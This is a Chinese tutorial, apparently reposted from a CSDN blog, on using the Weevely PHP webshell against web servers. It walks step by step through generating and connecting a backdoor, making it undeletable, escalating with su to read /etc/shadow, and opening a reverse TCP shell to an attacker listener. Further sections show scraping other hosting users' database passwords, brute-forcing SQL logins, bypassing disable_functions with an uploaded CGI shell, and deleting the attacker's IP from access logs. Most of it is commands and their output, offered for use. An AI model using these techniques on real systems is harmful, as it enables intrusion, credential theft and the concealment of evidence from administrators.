Weevely——Linux中的菜刀
Weevely(Linux中的菜刀)
转载自:https://blog.csdn.net/qq_45521281/article/details/106587791
- Weevely(Linux中的菜刀)
- 基本用法
- 后门生成
- 连接后门
- weevely模块
- 几个模块的使用:
- :shell_su模块
- :system_info模块
- :audit_disablefunctionbypass模块
- :audit_etcpasswd模块
- :backdoor_reversetcp模块
- :audit.phpconf
- 几个模块的使用:
- 使用技巧
- 获取其他用户的凭据
- 绕过策略读取/etc/passwd
- 猜解SQL用户凭据
- 日志清理
- 绕过系统禁用函数(disable_function)
基本用法
root@kali:~# weevely [+] weevely 3.2.0
[!] Error: too few arguments [+] Run terminal to the target //连接后门weevely <URL> <password> [cmd][+] Load session fileweevely session <path> [cmd][+] Generate backdoor agent //生成后门weevely generate <password> <path>
后门生成
weevely generate <连接密码> <path>
生成一个后门木马:
root@kali:~# weevely generate test hello.php
Generated backdoor with password 'test' in 'hello.php' of 1486 byte size. root@kali:~# find / -name hello.php
/usr/share/weevely/hello.php
连接后门
weevely <url> <连接密码>
root@kali:~# weevely http://192.168.110.129/hello.php test[+] weevely 3.2.0[+] Target: winxp-0947be9ad:C:\phpstudy\WWW
[+] Session: /root/.weevely/sessions/192.168.110.129/hello_0.session
[+] Shell: System shell[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.weevely>
最后可以chattr +i webshell.php
给后门加个权限(chattr +i不得任意更动文件或目录),然后试试root能不能删除吧(仅限linux上)。
weevely模块
在虚拟终端模式下需要使用模块直接在前面加上冒号 ’ : ’ 即可
:shell_su #通过更变使用者来执行shell命令,可以获得root权限来执行命令. :shell_sh #执行 shell 命令. :shell_php #执行 PHP 命令. :system_extensions #收集PHP和webserver扩展列表 :system_info #收集系统信息 :system_procs #列出正在运行的进程 :audit_disablefunctionbypass #使用mod_cgi和.htaccess绕过系统禁用函数的限制。它会上传.htaccess和CGI脚本,并在远程服务器上运行伪系统shell :audit_etcpasswd #查看/etc/passwd文件 :audit_suidsgid #查找带有SUID或SGID标志的文件。 :audit_phpconf #查看php配置信息 :audit_filesystem #审核文件系统的弱权限。枚举各种系统目录并寻找可读写执行的目录,模块仅默认搜索部分linux下的常见目录,logs、root、home等 :backdoor_reversetcp #执行反向TCP shell. 需要nc -lvp <port>监听 :backdoor_tcp # 在TCP端口上生成shell :net_scan #TCP端口扫描. :net_mail #发送邮件. :net_ifconfig #获取网络接口地址. :net_curl #执行类似curl的HTTP请求. :net_proxy #运行本地代理以通过目标转移HTTP / HTTPS浏览 :net_phpproxy #在目标上安装PHP代理. :bruteforce_sql #可用来猜解数据库密码. :file_find #查找具有给定名称和属性的文件. :file_download #从远程文件系统下载文件. :file_check #获取文件的属性和权限. :file_touch #更改文件时间戳. :file_cd #更改当前工作目录. :file_grep #打印与多个文件中的模式匹配的行. :file_gzip #压缩或解压gzip文件. :file_tar #压缩或解压tar文件. :file_enum #检查路径列表的存在和权限:file_bzip2 #压缩或解压bzip2文件. :file_mount #使用HTTPfs挂载远程文件系统. :file_clearlog #从文件中删除字符串. :file_zip #压缩或解压zip文件. :file_cp #复制单个文件. :file_upload2web #自动将文件上传到Web文件夹并获取相应的URL. :file_edit #在本地编辑器上编辑远程文件. :file_read #从远程文件系统中读取远程文件. :file_webdownload #指定URL下载文件. :file_upload #文件上载到远程文件系统. :file_ls #列出目录内容. :file_rm #删除远程文件. :sql_dump #Multi dbms mysqldump replacement. :sql_console #执行SQL查询或运行sql控制台.
几个模块的使用:
:shell_su模块
weevely> :shell_su
error: the following arguments are required: passwd, command
usage: shell_su [-h] [-user USER] [-stderr_redirection STDERR_REDIRECTION][-vector-sh {system,passthru,shell_exec,exec,popen,proc_open,perl_system,pcntl}][-vector {sh_expect,pyexpect}]passwd command [command ...]Execute commands with su.positional arguments: //位置参数(必须)passwd User's passwordcommand Shell commandoptional arguments: //可选参数-h, --help show this help message and exit-user USER User to run the command with-stderr_redirection STDERR_REDIRECTION-vector-sh {system,passthru,shell_exec,exec,popen,proc_open,perl_system,pcntl}-vector {sh_expect,pyexpect}
一般形式:
:shell_su -user root <密码> <要执行的命令>
通过更变使用者来执行shell命令,可以获得root权限来执行命令。**如一般情况下,/etc/shadow这个文件普通用户是不能查看的,需要升级为root用户,就可以这样:
:shell_su -user root 657260 cat /etc/shadow
:system_info模块
收集系统信息
www-data@Kali:/ $ :system_info -h
usage: system_info [-h][-info {document_root,whoami,hostname,pwd,open_basedir,safe_mode,script,script_folder,uname,os,client_ip,max_execution_time,php_self,dir_sep,php_version} [{document_root,whoami,hostname,pwd,open_basedir,safe_mode,script,script_folder,uname,os,client_ip,max_execution_time,php_self,dir_sep,php_version} ...]]Collect system information.optional arguments:-h, --help show this help message and exit-info {document_root,whoami,hostname,pwd,open_basedir,safe_mode,script,script_folder,uname,os,client_ip,max_execution_time,php_self,dir_sep,php_version} [{document_root,whoami,hostname,pwd,open_basedir,safe_mode,script,script_folder,uname,os,client_ip,max_execution_time,php_self,dir_sep,php_version} ...]Select information
选项-info,用来查看某一项信息,如以下命令用来查看本机(攻击者)ip:
:system_info -info client_ip
也可以直接:system_info
列出全部信息
:audit_disablefunctionbypass模块
使用mod_cgi和.htaccess绕过系统禁用函数disable_function的限制。它会上传.htaccess和CGI脚本,并在远程服务器上运行伪系统shell。
weevely>
www-data@target:/var/www/html PHP> :audit_disablefunctionbypass
[-][disablefunctionbypass] After usage, use ':file_rm' to remove '/var/www/html/.htaccess' and '/var/www/html/acubu.ved'
[-][disablefunctionbypass] Run console without reinstalling with ':audit_disablefunctionbypass -just-run http://localhost/acubu.ved'
[-][disablefunctionbypass] Type 'quit' to return to weevely shell. Requests are not obfuscated
CGI shell replacement $ ps -auxPID TTY TIME CMD
24693 ? 00:00:00 apache2
24694 ? 00:00:00 apache2
24695 ? 00:00:00 apache2
24696 ? 00:00:00 apache2
24697 ? 00:00:00 apache2
24859 ? 00:00:00 acubu.ved
24864 ? 00:00:00 psCGI shell replacement $ quit
www-data@emilio-lin:/var/www/html PHP>
:audit_etcpasswd模块
用来直接查看/etc/passwd文件,可使用-real参数来过滤出真实用户
www-data@Kali:/ $ :audit_etcpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
......
:backdoor_reversetcp模块
执行反向TCP shell. 需要nc -lvp <port>
监听
www-data@Kali:/ $ :backdoor_reversetcp
error: the following arguments are required: lhost, port
usage: backdoor_reversetcp [-h] [-shell SHELL] [-no-autonnect][-vector {netcat_bsd,netcat,python,devtcp,perl,ruby,telnet,python_pty}]lhost portExecute a reverse TCP shell.positional arguments: //必须lhost Local host port Port to spawnoptional arguments:-h, --help show this help message and exit-shell SHELL Specify shell-no-autonnect Skip autoconnect-vector {netcat_bsd,netcat,python,devtcp,perl,ruby,telnet,python_pty}
先用kali监听3366端口,
nc -lvp 3366
再用weevely
backdoor_reversetcp 192.168.1.9 3366
:audit.phpconf
查看php配置信息
使用技巧
获取其他用户的凭据
本技巧演示如何在共享的托管服务器上获取其他用户凭据
1、查找包含其他web用户的文件夹
weevely> ls
.
..
members
www-data@target:/var/www PHP> cd members
www-data@target:/var/www/members PHP> ls
.
..
alefst
anssot
latrwo
leempt
martol
natsta
rogjas
rotozy
tstanc
virots
yynost
www-data@target:/var/www/members PHP>
2、使用grep命令查找其他用户存储在php脚本中的密码
www-data@target:/var/www/members PHP> grep . '^[^*/#]*passw?o?r?d?'./virots/config.php:$CFG->dbpass = 'FFFklasdhas()asdjj'; // your database password
./anssot/moodle/config.php:$CFG->dbpass = 'kasdhBSAUIGS77&'; // your database password
./leempt/wp/wp-config.php:define('DB_PASSWORD', 'AShasjdh177!@');
./alefst/wordpress/wp-config.php:define('DB_PASSWORD', 'ajhfaifh123!');
./martol/wordpress/wp-config.php:define('DB_PASSWORD', 'monkeydust1234');
./yynost/sites/default/settings.php: 'password' => 'XXyyynotsgoghia(XX',
./martol/drupal-7.x/sites/default/settings.php: 'password' => 'jhj@&&hgdas98k',
./natsta/drupal/sites/default/settings.php: 'password' => '99copacabana',
www-data@target:/var/www/members PHP>
3、我们发现一些连接数据库的语句。
www-data@target:/var/www/members PHP> grep . 'mysql_conn'
./rotozy/joosep-lineon/db.php:$g_link = mysql_connect( '10.4.4.24', 'rotozy', 'rotozy123') or die();
www-data@target:/var/www/members PHP>
发现密码
4、我们可以使用sql_console模块来连接
www-data@target:/var/www/members PHP> :sql_console -user rotozy -passwd rotozy123 -host 10.4.4.7
rotozy@server7 SQL> SELECT USER();
+----------------+
| rotozy@server7 |
+----------------+
rotozy@server7 SQL>
绕过策略读取/etc/passwd
某些php配置阻止了对系统文件的任何直接访问(参见open_basedir),但是这些文件对于权限提升很有帮助,这时候我们就要想方法绕过了。weevely中的模块audit_etcpasswd帮我们解决了这个问题。
1、我们先尝试直接访问目标文件
www-data@target:/var/www/html PHP> cd /etc
[-][cd] Failed cd '/etc': no such directory or permission denied
www-data@target:/var/www/html PHP> cat /etc/passwd
[-][download] File download failed, please check remote path and permissions
2、不能访问,我们来使用模块audit_etcpasswd
www-data@target:/var/www/html PHP> :audit_etcpasswd --help
usage: audit_etcpasswd [-h] [-real][-vector {posix_getpwuid,file,fread,file_get_contents,base64}]Get /etc/passwd with different techniques.optional arguments:-h, --help show this help message and exit-real Filter only real users-vector {posix_getpwuid,file,fread,file_get_contents,base64}www-data@target:/var/www/html PHP> :audit_etcpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
yzer:x:1000:1000:yzer,,,:/home/yzer:/bin/bash
www-data@target:/var/www/html PHP>
可以看见成功读取。
有时不能读取的目录也可以用chmod 777 /目录/
来赋予权限。
猜解SQL用户凭据
本技巧教大家如何猜解多个SQL用户的凭据。
1、先来查看用户,无法直接查看,请看上面一个技巧
www-data@target:/var/www/html PHP> cd ..
[-][cd] Failed cd '..': no such directory or permission denied
www-data@target:/var/www/html PHP> cat /etc/passwd
[-][download] File download failed, please check remote path and permissions
www-data@target:/var/www/html PHP> :audit_etcpasswd -real // Filter only real users
root:x:0:0:root:/root:/bin/bash
roblast:x:1000:1000:roblast,,,:/home/roblast:/bin/bash
micjanost:x:1001:1001:micjanost,,,:/home/micjanost:/bin/bash
pjgomes:x:1002:1002:pjgomes,,,:/home/pjgomes:/bin/bash
pdpeers:x:1003:1003:pdpeers,,,:/home/pdpeers:/bin/bash
www-data@target:/var/www/html PHP>
2、使用bruteforce_sql猜解密码
www-data@target:/var/www/html PHP> :bruteforce_sql mysql -users roblast micjanost pjgomes pdpeers root -fpwds wordlists/huge.txt #制定了多个用户和一个字典
roblast:reckoned
pjgomes:national
root:Gilchrist
www-data@target:/var/www/html PHP>
同时爆破多个用户的密码
3、成功猜解出三个用户密码,我们使用sql_console连接
www-data@target:/var/www/html PHP> :sql_console -u root -p Gilchrist
root@localhost SQL> show databases;
+--------------------+
| mysql |
| performance_schema |
| test |
| appdb |
+--------------------+
root@localhost SQL>
日志清理
本技巧教大家如何清除服务器中的跟踪记录。
1、首先找到日志存放的文件夹,下例是存放在log文件夹中
weevely> ls
.
..
htdocs
logs
cpanel
.profile
cgi-bin
member@target:/home/member PHP> cd logs
member@target:/home/member/logs PHP> ls
.
..
access.log
member@target:/home/member/logs PHP>
2、我们使用system_info命令找到我们自己的ip
member@target:/home/member/logs PHP> :system_info -info client_ip
174.122.136.104
member@target:/home/member/logs PHP>
3、我们使用grep命令来确认我们的ip记录在日志文件中
member@target:/home/member/logs PHP> grep access.log 174.122.136.104174.122.136.104 - - [21/Apr/2015:20:37:04 +0100] "GET /agent.php HTTP/1.1" 200 443 "http://www.google.co.uz/url?sa=t&rct=j&source=web&cd=136&ved=d7fQaxNTP&ei=qpG-lx-Uque6l97bG_EZfE&usg=FL237uTSYjAc8DC-d971rS4UUPyWV13nyK" "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3"
174.122.136.104 - - [21/Apr/2015:20:34:01 +0100] "GET /agent.php HTTP/1.1" 200 443 "http://translate.googleusercontent.com/translate_c?depth=1&rurl=translate.google.com&sl=auto&tl=en&usg=200QawVTBiv_BPoQJdoQhA-yTa66mtGaEA" "Opera/9.52 (Macintosh; Intel Mac OS X; U; pt-BR)"
174.122.136.104 - - [21/Apr/2015:20:28:24 +0100] "GET /agent.php HTTP/1.1" 200 443 "http://www.google.com.uy/url?sa=t&rct=j&source=web&cd=183&ved=DJY1U23wu&ei=GfRq0HsncZ7nn32louwyv0&usg=oYydfzk5nYywMujSFCTAmFvz3i3U7IYMDW" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.4 (build 02647) Firefox/3.5.6 (.NET CLR 3.5.30729)"
4、我们可以看到我们IP地址的活动已经被记录,我们可以再次使用grep,然后从日志中删除我们的ip,然后将其保存到临时文件中
member@target:/home/member/logs PHP> grep access.log -v 174.122.136.104 -output cleaned.log
member@target:/home/member/logs PHP>
讲解:这里,grep -v 或 --revert-match 是显示不包含匹配文本的所有行,然后输出到cleaned.log中,再把原文件access.log删除,又cleaned.log替换access.log。
5、让我们来测试看看cleaned.log中是否已经没有了174.122.136.104的内容
member@target:/home/member/logs PHP> grep cleaned.log 174.122.136.104
member@target:/home/member/logs PHP>
6、然后我们就可以用cleaned.log来替换access.log
member@target:/home/member/logs PHP> rm access.log
member@target:/home/member/logs PHP> cp cleaned.log access.log
member@target:/home/member/logs PHP> rm cleaned.log
绕过系统禁用函数(disable_function)
我们将使用的是audit_disablefunctionbypass模块,它会上传.htaccess和CGI脚本,并在远程服务器上运行伪系统shell。
weevely>
www-data@target:/var/www/html PHP> :audit_disablefunctionbypass
[-][disablefunctionbypass] After usage, use ':file_rm' to remove '/var/www/html/.htaccess' and '/var/www/html/acubu.ved'
[-][disablefunctionbypass] Run console without reinstalling with ':audit_disablefunctionbypass -just-run http://localhost/acubu.ved'
[-][disablefunctionbypass] Type 'quit' to return to weevely shell. Requests are not obfuscated
CGI shell replacement $ ps -auxPID TTY TIME CMD
24693 ? 00:00:00 apache2
24694 ? 00:00:00 apache2
24695 ? 00:00:00 apache2
24696 ? 00:00:00 apache2
24697 ? 00:00:00 apache2
24859 ? 00:00:00 acubu.ved
24864 ? 00:00:00 psCGI shell replacement $ quit
www-data@emilio-lin:/var/www/html PHP>
Weevely——Linux中的菜刀相关推荐
- Weevely(Linux中的菜刀)
声明:文中所涉及的技术.思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! 文章目录 基本用法 后门生成 连接后门 weevely模块 几个模块的使 ...
- weevely-------linux中的菜刀(转载)
weevely 是BT5中一个常用的webshell后门连接工具,它发挥的作用类似于中国菜刀(chopper). root@bt:/pentest/backdoors/web/weevely# ./w ...
- c++ 进程快照_如何在 Linux 中找出内存消耗最大的进程
很多次,你可能遇见过系统消耗了过多的内存.如果是这种情况,那么最好的办法是识别出 Linux 机器上消耗过多内存的进程. -- Magesh Maruthamuthu(作者) 很多次,你可能遇见过系统 ...
- linux的tar中ztvf,linux中的tar命令(2)
实例4:只将 /tar 内的 部分文件解压出来 命令: tar -zxvf /opt/soft/test/log30.tar.gz log2013.log 输出: [root@localhost te ...
- centos6.5 php5.2,Linux中PHP安装与配置(CentOS-6.5:php-5.2.13)
1 PHP简介 PHP(PHP: Hypertext Preprocessor的缩写,中文名:"超文本预处理器")是一种通用开源脚本语言.语法吸收了C语言.Java和Per ...
- java 外部类似_[求指点] 如何用java 实现类似linux中管道调用外部程序的功能
想写个小程序实现类似linux中管道的功能,创建一个外部子进程,然后主进程不断地写输入给子进程,而后把子进程的返回值取出. 如下的小代码就是从stdin读入一个字符串,调用子进程(cat)返回这个串, ...
- linux 修改java版本_Linux 有问必答:如何在 Linux 中改变默认的 Java 版本
提问:当我尝试在Linux中运行一个Java程序时,我遇到了一个错误.看上去像程序编译所使用的Java版本与我本地的不同.我该如何在Linux上切换默认的Java版本? 当Java程序编译时,编译环境 ...
- linux ls 命令 路径,使用ls命令在Linux中使用完整路径列出文件
许多人会发现,这是重复的问题,但我已经经历了所有问题,然后问及这个主题,但没有为我工作.使用ls命令在Linux中使用完整路径列出文件 我想打印使用ls命令的特定文件格式的完整路径名到目前为止,我发现 ...
- linux中的ln属性,linux 常用基础命令 ln 详细介绍
命令介绍: ln是linux中又一个非常重要命令,ln是为某一个文件在另外一个位置建立一个同步的链接.当我们需要在不同的目录,用到相同的文件时,我们不需要在每一个需要的目录下都放一个必须相同的文件,我 ...
最新文章
- 15-DBUtils
- js一键批量打印_js批量打印文件夹
- UVa 11059 Maximum Product
- hiveserver2详解
- java中的interface
- Gallery of Processor Cache Effects
- BUUCTF crackMe 题解
- MIT 麻省理工学院公开课程视频下载方法
- 三层交换技术——精确匹配、最长前缀匹配与最长前缀匹配+主机直接路由
- Shinobi视频监控平台
- 搜索引擎的网址收录链接
- 中国农科院基因组所汪鸿儒课题组诚邀加入
- python爬虫爬取网易云音乐下载_Python爬虫实践-网易云音乐!没有版权又如何!照样爬取!...
- 淘淘摘苹果Python版
- HDU5142 NPY and arithmetic progression BestCoder Round #23 1002
- GlobalMapper20转换KML为GeoJson,保留名称
- [Codeforces Round #516][Codeforces 1063C/1064E. Dwarves, Hats and Extrasensory Abilities]
- android中汉字转为拼音
- 望远镜物镜or光学系统分类
- 免费PPT模板下载(毕业设计答辩,毕业设计开题答辩)
热门文章
- maven报错, Failed to create parent directories for tracking file
- 达内python培训多久
- 【web前端开发】CSS定位
- curl: command not found解决方法
- VVC的VTM版本的下载,YUV格式视频播放器
- 解决 LaTeX 索引的路径中存在波浪号的问题
- Linux--同步IO/异步IO区别
- MacOS idea打不开解决方法
- 人生苦短_人生苦短_郑亦辰_高音质在线试听_人生苦短歌词|歌曲下载_酷狗音乐...
- ​通达信量比捉牛股指标源码​_通达信公式